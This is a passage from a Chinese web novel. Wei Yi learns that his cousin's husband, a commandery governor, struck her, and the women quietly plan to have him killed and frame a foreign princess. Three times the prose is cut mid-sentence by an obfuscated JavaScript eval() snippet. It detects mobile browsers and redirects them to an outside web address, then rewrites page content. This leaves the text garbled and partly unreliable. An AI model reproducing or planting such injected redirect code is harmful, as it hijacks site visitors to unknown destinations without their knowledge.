晚饭后,韦祎去找到了罗易,“你又有什么事情?快说吧,我听着呢。”罗易说。 韦祎把这件事抱怨了一遍。 “我建议你赶快去验明信物,然后八百里加急送信回京城询问如何处理,我们就在此地等着,顺便帮栾夫人解决家庭纠纷,并且休息。” 就应该这么办,韦祎想要早点出发避开四表姐和姐夫的问题,是不可能了。 幸好芜夙的印信好好地存在了银号保管箱里,没有丢失也没有损坏,写密信奏章,从郡守府发出去,地方郡守府有昼夜八百里加急的权限,只要四天,奏章就可以到达京城。 这就是说,至少可以在华阳郡再歇息八天。 今天也是一样,柳爚与栾凤忙到了晚上才回来。 “爚姐,去后园的湖心亭喝杯茶?” 行商棋告诉韦祎,按兵不动是个坏事,不如赶快去解决问题。 “好啊。”柳爚对夜里去湖心亭没什么好感,今天又降温了。秋天,本就凉爽,夜里的水面上更是冷得像冬天,裹着一层厚厚的外套,揣着手炉才肯出门去。 她可不想走到湖面上待着,在路上就说完。 “你大概也知道,因为你在稞国之战立功不少,又扮演了检举承亲王的角色,所以我爹爹认为柳家要韬光养晦,短时间不能再出风头。” “知道。” 伴随着承亲王倒台,皇帝顺手把所有成年的,想要当太子的皇子都给收拾了一番,不太规矩的都贬到了封地去。他儿子多,如今仍然留在京城里的,除了几个实在笨拙不成器的成年皇子,只剩下攸绚这样年纪还小的孩子。 承亲王倒台之后,韦祎也相当于被贬官了,稞国之时他受封南征中郎将,麾下两万弓兵,正四品,城防军营千总只是从五品,降三级。正好韦祎不乐意去追名逐利了,在城防军做千总也挺好,而且任期内没有立下任何可圈可点的功劳,正常工作而已。 赶在出征稞国之前,栾凤中了进士,本可以留在京城任职,直接去吏部补缺,但因为韦祎受封了正四品的中郎将,柳卞就压了栾凤一把,让他赋闲。赋闲一年多,朝廷就有新的科举进士了,各部的缺都被新一批进士补上,最终,他被送到了华阳郡。 “郡守一级的官员每四年或者五年要进京述职一次,会由皇帝钦点,安排升迁。这几年灵均在华阳郡颇有建树,治理得不错,清除了不少历年来的积弊,办了几所官学,贫穷人家的孩子也能念书,甚至连农田都增产了。” “所以?”韦祎隐隐觉得事情的不妙与自己有关。 “如果没有意外,这次就会升迁。” “但是我又被皇帝想起来了。” “对了,你又被皇帝想起来了,要开战,是重用武官的时候,皇帝当然会再把你提起来,而且,你比大部分年轻武官的能力都要强得多,不重名利,没有私心,虽然没有考过科举,但让你去考,考上个举人应该没问题,可谓是文武双全。” “有问题,我觉得我尽全力也只能考上秀才。” 策论:怎样能治理好稞州?这是去年的考题,放榜之后贴在了布告栏上,韦祎巡逻时远远看见了就觉得头大如斗,飞快地带队走过了布告墙。 考秀才比较简单,会背书就成了。 就韦祎这个水平,也比绝大部分的年轻武官要高。 66. 脏衣裳 “没有目的就不会被任何人利诱,虽然身在所谓的柳党之中,但你也不会做什么争权夺利的事情,这才是皇帝看重的。”柳爚自顾自接着说,“前些日子爹爹来信,主要是讲,让灵均这次不要去京城述职,自请再留任华阳郡五年,其次才是告诉我们你受封访西域正使,很快会经过华阳,让我们照顾照顾你。” “照顾我……灵均对此不满?” 栾凤对此不满也没办法,他不可能越过柳卞向皇帝上奏章,所有地方官的奏章都会走到中书省,再上呈。 “你在城防军没有立功就重新受到重用,而灵均在华阳政绩斐然,却得不到好处,他当然不满,不过必须如此。” 韦祎、柳爚这些人都清楚,他们生来就是“柳党”,叛逆如柳不寒,不屑于柳家的势力,一意孤行嫁给了当时只是个芝麻小官的韦寅。但韦寅能力太强,升官飞速,一旦官职升上去了,亲缘太近,洗不掉“柳党”的标签。 尤其是,贵妃柳红酥生了儿子。 家族总要有未来,只剩下两个选项。 第一条路,柳家全体人员淡出朝堂,方能保全。第二条路,柳红酥正位中宫,让韦祎的小表弟云攸绚成为皇储,他和柳家才不会被未来的新君铲除。 皇后之位空悬多年,柳红酥是后宫中地位最高的贵妃,显然,第二条路更合适。 不管是柳卞还是韦寅还是其他所有人,从政并不是为了富贵生活,而是为了国泰民安。还有很多其它的原因,比如,皇帝和皇储的亲姐妹不可和亲,如果云攸绚成为皇太子,那他的亲姐姐沅公主就不用被嫁到外邦去。 嫁到外邦不是什么好事,国家利益面前,损失几个皇室子弟算什么?和亲只是达成暂时的盟约,准备好开战的时候,没有任何君主会犹豫。 “对了,当年二姑母把你送走的时候还问我,要不要和你一起去海岛上拜师学习,我当时什么都不懂,问我爹,爹爹说,去了那里吃不饱穿不暖还要被人打,我就告诉二姑母我不去,现在想来,若是我和你一起离开京城,事情也许就会不同。” “怎么说到这里来了,我娘还问了你要不要去,她都没问我,直接把我骗去了,然后扔在岛上!” “一猜就是二姑母会做的事情。” “祖母说,你的师父是她的朋友,若是我也从小离开京城,就会更像祖母一些了。” 柳爚提起了外祖母,韦祎脑海中又出现了噩梦的场景。 韦祎的师父是外祖母柳凿的朋友,在京城时,给柳凿的三个孩子做了几年西席先生,因此,柳不寒他们兄妹三个都认识韦祎的师父。 “我不会和灵均一起走下去了。”柳爚说。 即使是在从政之路上有些不愉快,也不至于和离吧?韦祎:“啊?” “我现在说明原因和解决方案,说了你可不要有情绪。” 柳爚站定,等韦祎保证过后才接着讲。 “你升官的消息是和爹爹让他自请留任的消息一起来的,他为了这次面圣考核准备了不少,所以,那天很愁苦,喝了不少酒,我劝他不要喝酒了,留在华阳郡作一方父母官也很好,话不投机,他把一罐子醒酒汤砸在了我头上。” 柳爚说到这,韦祎:“什么?!”他比柳爚高不少,可以很轻松看到柳爚的头顶,把柳爚拉到灯笼下仔细观察,果然,额角处的头皮上隐隐有一小块伤疤,藏在头发里,已经痊愈了:“栾灵均竟然打你?” 韦祎知道晚饭前的噩梦是怎么回事了,他现在也很想去揍栾凤。 他真的很少想要打人,栾凤又一次有幸列入了名单。 “行了,都说了别紧张,我不是什么受人欺侮的小媳妇。”柳爚把怒发冲冠的韦祎推开,“我是柳家的女儿。” 有柳凿为榜样,柳家的女儿必须是英杰。 “再有,就是最近的案子。姑父曾说韦家的人是华阳郡有名望的乡贤,若是我们要在华阳推行什么新政,尽管去找韦家帮忙宣传,你们家的人还挺像的,不重私利,只要是好事就愿意帮忙,这些年确实帮了我们不少,即使是没有姑父这层关系,我想他们也会帮忙的。” 韦祎还没有出离愤怒,保持头皮发麻的状态只听进去了一半,实际上他只能看见柳爚的嘴巴在一张一合,姑且算是“听”了一半。 “这儿有很多外邦人来往,不乏间谍密探,自从大齐有意与西域联盟,郡里有不少间谍作乱,偷小孩。姑父是当朝大员,燕国的密探早就知道他有族人在华阳,于是就偷了你家的孩子。” “偷孩子?宓儿被偷了?”韦祎没听全,摸不着头脑,宓儿怎么可能被偷,自己被偷了宓儿都不会被偷,他在魏国公那里,铁桶一样的魏家军。 “醒醒!说这老半天你都没听!”柳爚不满,“是你们韦家在华阳郡的族人孩子被偷了,我就不说是谁了,反正你也不认识!” “对,我确实不认识他们。” “灵均因为升官的事情对你有怨,所以你们韦家的孩子被间谍偷了,他一拖再拖不愿意去找,还是我出去找的,顺便把丢孩子的案子全都接手,所以这段时间才这么忙。” “这是渎职,”当朝重要官员的族人,地方官有责任进行严密保护,防止外贼乘虚而入,酿成大祸,“而且,这心胸狭隘之辈真的是灵均?”别说是亲戚家的孩子被偷了,就算是乞丐的孩子被偷了也不能不去找啊! 等等,柳爚都成亲快六年了,一直没有子嗣。 “你们一直没孩子……”韦祎意识到,难不成柳爚早就看出栾凤并非良人? “你最近确实敏锐了不少,有长进。”柳爚鼓掌,只花了好几年的时间就发现了自己和栾凤一直没有生育呢! “其实你出征稞国的时候,他就颇为急躁,不过,我也能理解,栾家是书香门第,对他多有期望。人是会变的,我不知道他是近些年才变成这样,或是一直如此。” 朋友列表当中的一个人竟然是个精于伪装的大混蛋! 今天注定是心绪起伏的一天,这还不算完。 “这事儿呢,我与家里早有默契,无非是两条路,要么是我出手把他给弄死,我只是守寡而已,真实情况无人知晓,但是灵均的家人可以保全。若是我不出手杀了他,就直接回家去,爹爹会把栾家彻底赶出京城,防止结怨,以绝后患。” 栾凤的父亲做了一辈子的奉常博士,是做学问的人,官不大,他还有好几个弟弟、堂弟之类的,都在国子监学习,要考功名当官。得罪了柳家,政治生涯还没开始就彻底结束了。 好家伙,要和离就很令人惊讶了,其实是要杀掉他!噩梦已经不存在,韦祎现在觉得那个梦的剧情非常好,自己也很想去把栾凤打断腿。 信息量过大,韦祎魂飞九天外地从湖心亭回到了自己的院子里,敲一敲罗易房间的门。 “请进。”罗易发现,与韦祎做朋友不容易,每到要就寝的时间,他就会出现,刚刚在沐浴,布巾包着头发,身上穿着睡衣,因为要开窗户放掉水汽,松松垮垮裹一件羊毛线织的披肩。 远处看见此间景象的值班侍女恍然大悟,暗自决定,要改口称呼罗易为将军夫人。 要不是刚解释了内力修炼的功效,罗易也要怀疑韦祎是个断袖。 “你看起来不太好。”坐定,罗易开口,“发生什么事情了?” 韦祎大概叙述了一遍。 “很遗憾听到这些。夫人,呃不……小爚姐决定要选哪一条路了吗?” “她想让灵均死,把活路留给他的家人。” “嗯,她倒是有心胸,没有想着泄私愤。自己担负风险,给家里留了脸面,也保全了栾家的其他子弟。”说到这,本来很温和的罗易重重放下茶杯,巨大的声音竟然吓了韦祎一跳,随后,她开始毫无节奏地敲桌子,神情严厉,小声说:“醒醒!别愣着了,你快想一想,刚才你们说话时没有人听见!还有现在,不会隔墙有耳吧!” 韦祎在混杂的噪音中听见了罗易的话,赶忙收束心神,从听到了柳爚说栾凤打她,就一直很愤怒,没有过于留意周遭的动静。 “别敲了,没有。刚才应该也没有。” “应该?”罗易冷笑,“你以为你在说什么?你在说要谋害朝廷命官。该谨慎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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罗易拿着一个精致的小匣子走进来,“柳御史,恕民女唐突,深夜来访,刚在点数行李,正看见一盒子海珍珠,是我们东海的特产,个个都有指头大,无论是拿来串链子还是用来磨珍珠粉生肌嫩肤,都好用。刚到时风尘仆仆,您把新衣裳给我穿,还没有当面谢过您呢!” “噢!我当是什么事情呢,衣裳而已,脏了就换一件,不算什么。”柳爚扬声道:“外面的,不用侍候了,歇息去吧,茶都是热的,我与罗姑娘说几句体几话。” 幸好没过来,换成韦祎听她们俩对话,能累死。 罗易昨日称呼柳爚为栾夫人,现在改称呼她柳御史,意思是知道了柳爚与栾凤不和,送珍珠说要磨成珍珠粉,有祛疤生肌的功效,是在暗示栾凤与她已经有暴力冲突。 柳爚说,衣裳而已,脏了就换,不算什么,是说男人不过是一件脏衣裳,不要罗易同情她,最后同意让罗易留下来说话,当然是善意的,不善意就不叫“体己”了。 “小祎都能跟你说这些了,看来你们两个的好事要成啊!”柳爚立刻把话题引到了别处去。 “是民女唐突了御史大人,只是事情紧急,不得已。”罗易把话题拉回来。 “何事,你说吧。” “刚才子隽听了您说的事情,一直心神不宁,没留意是否隔墙有耳,不知您可有留意?” 柳爚垂下眼思考了一会儿,“照着常理讲是没问题,但我会另行再查一次,事关重大,我不会疏忽。”又笑,“也不指望着小祎。你也真是的,别叫什么御史大人,什么夫人的,听着生疏,你就和小祎一样,叫我的名。我确实比你大两岁吧,让小祎叫我姐姐他还不服气,你总该服气。” “好,那您就是我的小爚姐了。”罗易立刻同意,“还要问您,您想要做的事情,准备何时进行?可有万全之策?” “这件事不急的,至少要等你们离开,再找个能嫁祸的人选,否则小祎的身上也会有嫌疑。” “我却认为,世上没有不透风的墙,一旦想要做这样的事,就要谋定即动,夜长梦多,被人察觉,反杀在睡梦之中也未可知啊。” 67. 夜谈记 “逸希这样说,是已有计策?” “计策谈不上,先是想劝您,要不就赶快启程回京城去,让家里帮忙解决此事,您也说了,一件脏衣裳而已,说不定脏衣裳的家里也都是脏衣裳,何必怜悯他们?” “你愿意在此时此地冒着被我不喜的风险前来提醒我,我也愿意自己冒风险,不让他人学问白费,永无施展的机会。” 罗易忽然觉得,也许柳爚的行为就是所谓的大音希声,看似下策,实为上策。对柳爚自己来讲当然是下策,而对那些满心志气却出身低微的学子来讲,实为上策。 正因为柳家耍弄风云易如反掌,所以更要收束这股力量。 “您有此心胸,民女佩服。”转换了方向,“我们一行人当中,正好有一位,即使犯了法也不会受到惩罚,还有另一位,已经犯下了要被立即斩首的叛国大罪,也许正是您需要的。” 这是芜夙和周冲。 周冲当然没有拿了钱就远走天涯,韦祎亲自去迂回探查过,这人就跟在队伍路径的后面,尾随到了华阳郡。而芜夙是外国公主,已经验明正身,犯了滔天大罪也不会被处死,她犯下命案,不过是增加了大齐与西域谈判的砝码罢了! 死了栾凤,明面上是削弱了柳家的势力,若栾凤是被芜夙杀的,就皆大欢喜,皇帝更会乐见此事。 这段对话,罗易事前可没有跟韦祎打过招呼,怕他不乐意,先与第一相关人商量好,让他没法反对。 要不是因为这件事里面必须韦祎出力,罗易和柳爚都不想告诉他。 钱氿在厨房门口站着等,而韦祎在愤怒地走来走去,走了好一会儿都没想好要说什么:“你回去歇着吧,我明天再说。” “没关系,今天又是我值夜。”钱氿耸肩,向厨房里看了一眼,嗅一嗅:“您在煮姜汤,着凉了吗?” “给逸希的。” “这姜都没有去皮,全是渣子,而且您只放了姜和白水,这么糙的东西怎么能拿给姑娘喝?” 韦祎没听见,继续疯狂地走步。 于是钱氿把韦祎那锅姜汤倒了,洗手,重新打一罐子水,老姜去皮,快刀切薄片,在厨房的柜子里找到了干桂圆和红枣,桂圆去壳去核,红枣切块去核,放进罐子中同煮一刻钟,离火前加两大勺红糖搅匀,盖上了盖子。 片刻后,韦祎觉得应该去把罗易接回来,钱氿把姜汤罐子递给他。 “这是我的姜汤?”揭开盖子看了一眼全面升级的内容物。 “不是。”钱氿否定,一并递给韦祎一个托盘,上面是两个空盖碗和两个调羹,一个大汤勺。 “若是某人有个朋友,一直非常有志气有才能,但是突然有一天大家发现他是个混蛋,你觉得如何?” “您在说周冲吗?”钱氿问,”他可不是您的朋友。“ “呃!还有他,他是不是已经进了华阳?” “对的,他在城东的一家张记客栈落脚,住在天字九号上房,毕竟您给了他不少钱,足够吃好喝好。要有什么行动?” “没有。” 当罗易坐在屋内,喝着精致的姜汤,终于想起了刚才没有和韦祎商量就制定的计策,“你好点了吗?没必要这么生气。毕竟这世上还是男人掌权,民间男人打老婆打妾室打孩子官府都不会受理,可能栾大人只是一位常人罢了,又喝醉了。” “喝醉了,喝醉了他怎么不用罐子砸他自己的脑袋!可见他是知道被人打会疼,而且他还知道他的夫人打不过他!等等,民间常有男子对夫人拳脚相向?” “当然了,别说是民间,就算是那些地方官的夫人们,怕是都躲不过,偶尔要赶上一两遭。” “大齐风气竟然恶劣至此?” 今天太过于毁三观,韦祎猜想,若是他今早睡觉前喝一大碗安神汤,可以把一整天睡过去,就不会发生这么多事情了。 “大齐还算是好的,已经鹤立鸡群遭各国猜忌了,北燕国和南宁国如今还是蓄奴制,西域更是乱,当然,拜我们韦将军的功劳,从前也是蓄奴制的南稞国已经不存在了,那儿的百姓应该给你立个长生庙。” “可是我家……” “你家当然没有对夫人拳脚相向过,你们家只是正在准备灭别人的全家而已。”说完了这句事实,看见韦祎脸色更加不好了,罗易赶快补救,“这就是你们柳党的可取之处啊,你们这群人比旁的官员更自律更……文明更……杰出,他们是又敬佩又惧怕,你们是鹤立鸡群的大齐国里面更加鹤立鸡群的人。” “你这么说,倒是让我觉得稞国之乱也有好处。” “作为大齐国的商人,我可非常希望大齐国开疆拓土,生意好做。我还希望有生之年能看见大齐国或者大齐国的体系统一天下哩!” “怕是难。” “不一定要打仗去征服,战争只是手段之一,文明更有力量。各国那么惧怕大齐,怕的是百姓看见了大齐国人能安居乐业,都起来造反推翻横行的贵族。就像当年柳虞大人所期望的。” “你也知道我外祖母?” “怎么会不知道!”罗易眼睛亮晶晶的,“不管是柳虞还是柳凿都好,堪称天下女子之楷模!” 柳凿长相一般,只看画像甚至有点丑,身高体壮,粗眉厚唇,面有男相,不然也不可能扮作男子在官场拼斗十五年都没人发现。 世人常称,女子楷模如孟母,如昭君,前者教子有方、坚守志节,后者貌美明理,为国远嫁。 “放屁吧,孟母连名字都没有。”罗易立刻说,“她儿子也不是什么……真正的圣人,连他娘的名字都不肯记下来。” “我倒是赞同这一点。”韦祎说,他也对那些有名的圣人没有好感,写那么多难背的古文,“你盛赞我外祖母,我这个晚辈与有荣焉啊。” “可是柳凿并不能彪炳史册,只有成为了柳虞才可以,再过千年,还有谁能记得这么一位女豪杰呢?如今的民间都传说柳卞柳大人的母亲貌丑而跋扈,教子无方,搞得柳大人娶妻无后,却连个妾室都不敢娶。” “哎?我舅舅没有无后啊。” “呵,在他们看来,生女儿不算是子嗣。” “我想,外祖母应该是并不在乎自己被如何议论的。” “但是我这个崇拜者很介意啊,也替天下间的女子介意。太可怜了,竟只能以孟母为楷模!” 今晚先是头发没干就出门挨冻一遭,后又紧锣密鼓地商议了许久的杀人计谋,然后又回来和韦祎谈论国家文明的问题,都子夜了,脑子很兴奋,别想睡着了。 “我刚才对你疾言厉色的,是因为一时情急,给你陪个不是,你莫要介怀。” “嗯?”韦祎想了想,“刚才你问我是不是隔墙有耳那段?” “正是。” “忒客气,每次都应该我谢你,你又为何要赔礼?” “真是月亮上来的,”罗易想起了东海郡时,这位韦将军竟然不知道民间打死妾无需坐牢,“你是大男人,是君子,被我一个小女子给教训了,怕你面子上过意不去,心里不爽。” “我不是君子,而且,那个,窃以为,没有男人是大男人,除非你特指身高体型或者嗯……” “这就奇了,我记得我堂哥也强调过他不是君子,这是什么师门规矩吗?” “是也不是,我师父还有壹通的师父都挺讨厌孔夫子他老人家的,君子是孔老夫子说的——视思明,听思聪,色思温,貌思恭,言思忠,事思敬,疑思问,忿思难,见得思义,还有什么不妄动,动必有道之类的,鄙人一项也做不到,我估摸孔老夫子也做不到。” “喔,不是君子也不用自称鄙人,那我们说说大——男人这件事,按照你的定义,都说身高和那什么成正比例,韦公子比寻常人高不少,是不是成正比例呢?” 以后大男人这个常见词有了新的含义。 “什么什么什么的,喝完了你赶快就寝吧,我回去了。”韦祎终止了话题。 回到自己的房间洗漱,脱掉外衣躺进被窝里预备打坐修炼。 刚才的对话似乎弄清楚了一件事,那就是,罗易为什么要在东海给贺顼一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“醒了!可算不用给你换屎尿垫子了!”柳不寒看见昏迷了八天的儿子睁眼坐了起来,非常开心。 经过柳不寒这么一说,韦祎才察觉自己在被子里除了必要的绷带之外并没有穿别的了,而屁股下面有一块湿乎乎的棉花垫子。 “娘!您出去,我没穿衣服!” 随即想起了晕倒前,看见的魏清泉的灵位。 闭眼躺回去,“一定是我睁眼的方式不对。”躺下时扯到身上的刀伤,一阵呲牙咧嘴。 “别想了,这就是现实,快起来看看宓儿。”柳不寒拍拍儿子瘦了太多的脸,行军一定是吃不好,回来的路上算是逃窜,又因为昏迷饿了八天,只能灌下去糖水和米糊糊,能不瘦吗? 那就接受现实,总的来讲,这段连个小挫折都谈不上,生活还要继续。 韦寅听说儿子醒了,步履匆匆跑到韦祎的房里,没等他开口,就听见床上的儿子说:“爹,您怎么胖了这么多?和我一起回来的倒霉皇子呢?” “小祎,我们这么长时间没见,你不能注意点别的?” “哎呀爹,您是越来越胖了,在家住时我都没注意到,出去一段时间回来就特别明显。” “一天从早上开始就待在桌子后面,一直待到夜里,换你你也胖,你小子别得意,我像你这么大的时候也瘦得像竹竿子似的,一过四十就发福,你也逃不过去!” “别听你爹的,他早就开始发胖了。”柳不寒在旁揭穿,“要不是前些年儿子要回京城来,你紧急减重,儿子十五岁就能看见个胖爹了!”柳不寒立刻揭穿。 “那个,倒霉皇子呢?”韦祎提醒。 韦寅知道儿子在问什么:“放心,皇帝不会杀他,已经拟旨封他为侯爷,过几天就是册封典礼。” “稞国?” “现在是南境军过去,妫姓封国也派兵支援,只剩最南边还有几块小地方,很快结束。至于打下来之后要派谁管,朝堂上正吵着,还没有定数。” “那,承亲王呢?” “当然是完蛋了。”韦寅说,“快起来吧,起来吃饭,刚醒要吃些肉,才能补血。走啊,还等什么呢?” 68. 寻常人 “没穿裤子,别掀开。”韦祎捂住了被子。 “嗐,跟爹爹害羞什么啊?四萬一个人照顾不过来,这几天都是爹帮你擦洗身子。”韦寅嘿嘿笑,“你身体虚弱,爹帮你穿衣裳吧。” “不用,您二老快出去,还有四萬,别以为你待在壁板后面我就不知道,你也出去!” “出去就出去,我陪小少爷去,至于少爷您啊,我们早就看个遍摸个遍咯。” “去去去!”等人都出去了,屋里安静下来,韦祎才发现,不用集中注意力就能听见院子里的声音,甚至能从声音判断出人站的位置。 放在从前,听见远处要凝神,听声辨位更要费心。 只是听力变强了,还是内力增长了? 尝试着调动沉寂在经脉中的力量,确实今非昔比不可同日而语,结果冲到伤口,立刻被自己打倒在床上半天爬不起来。 “少爷,您还好吗?我帮您穿?”四萬在外面叫。 最终也没能爬起来,这顿饭还是在床上被人喂着吃的。稞州侯的册封典礼过去好几天了,韦祎才能行走自如。 不放心,跑去看了看新受封的“稞州侯”。 “你竟然没有受伤?”韦祎看到了挺有精神的倒霉稞国皇子,惊叹。 “他们想先把你打死,然后再处理我,我又不会打人,跑也跑不快,但是没等到打死你,我们就到京城了,所以我没有什么大碍。”稞州侯说,“不过,我也受伤了!你看我胳膊这里,这么长一道口子!” 挽起袖子看了看他的手臂,浅浅一道划伤,已经完全长好了,看痕迹,并不是被人用利器割的,更像是骑马时被树枝刮伤,约等于完全没受伤。 其实,小时候第一次触摸到内力修炼的关卡,是吃茨菇中毒。 每次内力冲关都没好事,现在这个节骨眼上又有迹象,简直是不详的预兆。 冲破内力瓶颈就没给韦祎留下过好印象! 如果我现在开始停止打坐修炼,就可以把瓶颈期延后,韦祎想。但不打坐就会睡着,睡着了就没办法警戒,就会出现各种难以及时做出反应的危险,还是得打坐——加速冲破关卡的速度。 自找霉运。 等天亮,折腾了云攸纾一番,韦祎找府内官打听清楚了,今天郡守栾凤大人在府内,在门口踌躇许久,终于下定决定去找栾凤聊一聊。 “灵均,今天可是休沐日,这么早开始办公,可真敬业啊。” “快请进来,茶是刚刚沏好的君山银针,子隽你自便,我算完这几个数字再和你说。” “好茶啊,民间号称金镶玉,哪儿得来的好东西?”韦祎没给自己倒茶,而是掀开茶壶盖子闻了闻气味儿。 栾凤头也不抬,笔下不停:“我的一个国子监同窗,他家是茶商,偶尔给我寄来几包样品尝鲜,想让我给他介绍门路,卖到丕州来。”又接着抱怨两句,“入秋了,底下收秋税的几个人闹不明白,非要说负责核算的书吏贪墨,少算了他们的,闹来闹去,最后成了我来给他们核算!” “这事儿我可帮不了你,让我算税数,不如让我去劈柴。” 韦祎从前被韦寅抓去帮忙核算过商税,计算之复杂款项之多令人绝倒,就算韦祎算数很好,一天过去也会头晕脑胀。 “我这都快算完了,白天黑夜的忙了好些天,估计真是书吏贪墨,这群人世代做书吏,贪墨的本事都父子相传,处理他们谈何容易?”摇摇头,栾凤拿起桌案旁的扇子将笔迹吹干,将墨笔洗了,挂在笔架上。 “这个给你,你应该用得上。”韦祎把手里的东西放在栾凤的桌案上。 桐木漆盒是专为这块宝砚打造的,里面的凹槽与砚台的边缘完美契合,砚是澄泥砚,蟹壳青的颜色,雕犀牛望月的图案,质坚耐磨,观若碧玉,是个珍品古董,魏晋时的名家之作。 更好在体积小,便于携带,价值却不小,专讨文人喜欢。 罗易出门拉了半马车的各色礼品,这方古董砚台是她发给韦祎的任务。 “子隽竟然会带见面礼,难不成是这几年不见,生分了?”栾凤看着这方砚台眼睛有点直,是好东西没错,可韦祎送礼这件事更令他惊讶。 韦祎笑笑:“我现如今有金主资助,出手阔绰呢,这不,非要让我带着这东西来谢你这位东道主,你就收下吧,挺实用一玩意。” “是罗姑娘啊,我发现你是跟谁成亲就像谁,悄悄说一句,当年你与魏氏夫人成亲后,你说话做事都特别像夫人,如今是越来越像罗姑娘了!” “说什么呢,早知道我该把这砚台拿出来,去外面捉一只屎壳郎放进盒子里送给你!” 栾凤放下了公务,与韦祎谈了一阵子什么查案什么办官学的事情。 “其实我觉得对不住你,阴差阳错,总是挡你的运。” “我们是一家人,一荣俱荣,分什么你的我的,再说,在华阳待了这么久,让我走,我还舍不得华阳的父老呢。” “我怎么听说,你为这件事动了好大的肝火,醉酒不说,把屋里的东西都给摔了?” “是谁在挑拨?哪有什么大动肝火,许是我哪天在为别的事情生气,被他们给传言成了我对你不满。” “下人议论,我耳朵好,隔着几道墙都被我给听见了。”韦祎说,“既然你都说了不介意,我也不必觉得过意不去了,你也知道,我本想随老爹一起辞官,去农庄里逍遥自在,再去江湖上游历一番,结果,又被抓了官差。我爹也是一大堆的事情,别说辞官了,休沐日都过不消停。” “子隽你生性洒脱,不慕名利,正因为如此,皇帝才信任你啊,要我说,既然皇帝要重用,你不妨借此机会做出一番大事业来。” “不要,我可不想像你和舅舅那样,落得个腰痛肩痛手腕痛,没好处。”韦祎觉得这对话有些假惺惺的,令人难以忍受,要转换话题了,“你是不是和爚姐有什么不和,可别是把对我的火气发在爚姐身上了,那我百死难赎其罪。” “我与四姑娘多年的夫妻,意见不合的时候常有。吓到你了?”栾凤摆摆手,“四姑娘他们姐妹几个都是极好强的女子,成亲前我就知道,所以日常相处总是要让着她,她管的越发多,今年开始,竟正经穿上官服去查办案子了!” 栾凤压低了声音才说:“同僚暗地里指摘我娶了柳氏,没有子嗣,不准有妾室,还要管公事。四姑娘当然有四姑娘的好,但是悠悠众口,我不得不在意,可四姑娘呢,她在同僚们面前根本不知收敛。” “哦?” 韦祎想,第一,他从前可不会这么说,第二,在我面前说我表姐坏话,可能是神智出了问题。 “子隽,你是我的至交好友,娶妻我们更是颇有相似之处啊!” 栾凤终于找到个人倒苦水,颇有滔滔不绝的倾向,“魏国公家的女儿,谁敢娶啊!你看魏国公的其他几个女儿,都只能预备着在军汉里招女婿,只有你,因为岳丈大人坚持要让你联姻,你才不得不娶了魏氏夫人,那身高,那块头,你就够高的,她一个女子,竟然和你看起来差不多!武功又好,你不是还抱怨来着,说夫人每天早上都要拉着你练拳。” “哈哈,清泉确实喜欢叫我起来早锻炼,哈,你记得没错。”韦祎干笑两声。 天哪,他不仅说了小爚姐的坏话,而且要说清泉的坏话! “你和我岳丈大人更是相似,怪不得岳丈大人更喜欢你,你看,岳丈大人的娘亲就是个厉害的,二姑母也是火一般的脾气。对了,你将来和罗姑娘成亲,少不了要受我这份苦,罗姑娘一看就是一位精明强势的,事事出风头,嗐!” “是吗,我记得你从前对小爚姐可是百般称赞啊,怎么就闹成了这样?” 不知道该说些什么好了,韦祎想要赶快起身告辞,这人一定不是几年前的栾凤,很有可能是被歹人易容假扮的!要么就是有敌人给他下了魇术,导致神志不清性情大变。 短短几句话,从他的夫人柳爚,到柳家姐妹,再到魏清泉和罗易,再到柳不寒和柳凿,全都指责了一遍!真是囊括了韦祎身边所有亲近的女性! 他有没有可能是故意的?韦祎暗自分析。但是又觉得拳头很痒,经脉中的内力自动流转了起来,做好打人准备。 栾凤又不是习武之人,他察觉不到,而且韦祎坐得端端正正,看不出来。 佩剑感受到了流转的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786144|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内力,乌木剑身在鞘中,嗡地震响了一声。韦祎猛一咳嗽,把这声剑响掩盖过去。 “哎呀,看我,喝水都能呛到。” “她的才华,我自叹不如,做贤内助绰绰有余。可这官场毕竟不是女子的地方,时间一长,哪个男人面子上能过得去?若是她知道收敛就好了,有时间你也劝劝她。我去跟她说,又要吵起来了。” “好啊,有机会,就替你说一声,若是我也被骂了,要回来找你算账。” “那我就备上好酒好菜等你了。” 韦祎告辞,说是有些事情要办,栾凤送他出了书房。 坐在客院的回廊栏杆上,快到午饭时间,韦祎看见钱氿穿着里衣从偏房卧室走出来。 “中郎将?” “哎?你怎么才起?” 钱氿揉一揉眼睛,“因为我昨天值夜班。现在起来,赶得及吃午饭,您这是怎么了,昨晚就神情恍惚,遇到了什么疑难?” “对啊,你在西南边陲待过,我听说那边盛行魇胜之术,取了人的头发祷祝一番,就能害人性情大变,你可有了解?” “巫蛊之术?这世上是否有巫术大师我是不清楚,不过魇胜、还有什么养虫子的蛊术,想来都是乡野里面的神婆吓唬人用来骗钱的,就是下毒嘛,没有那么神,深山里乡民愚昧,才会相信。” “可是你看肖丰他……” 钱氿说:“他呀,说不定真是什么阿修罗恶鬼托生的,这么一说,也许西南盛传的巫蛊之术并非虚构。” 正巧,罗易和秦琼从院外走进来。 “你们两个聊些什么呢?” “罗小姐,秦姑娘,办事回来了?今天这一身打扮真是不错!” “是啊,钱大哥,承蒙夸奖,值夜辛苦,怎么不多睡一会儿?” 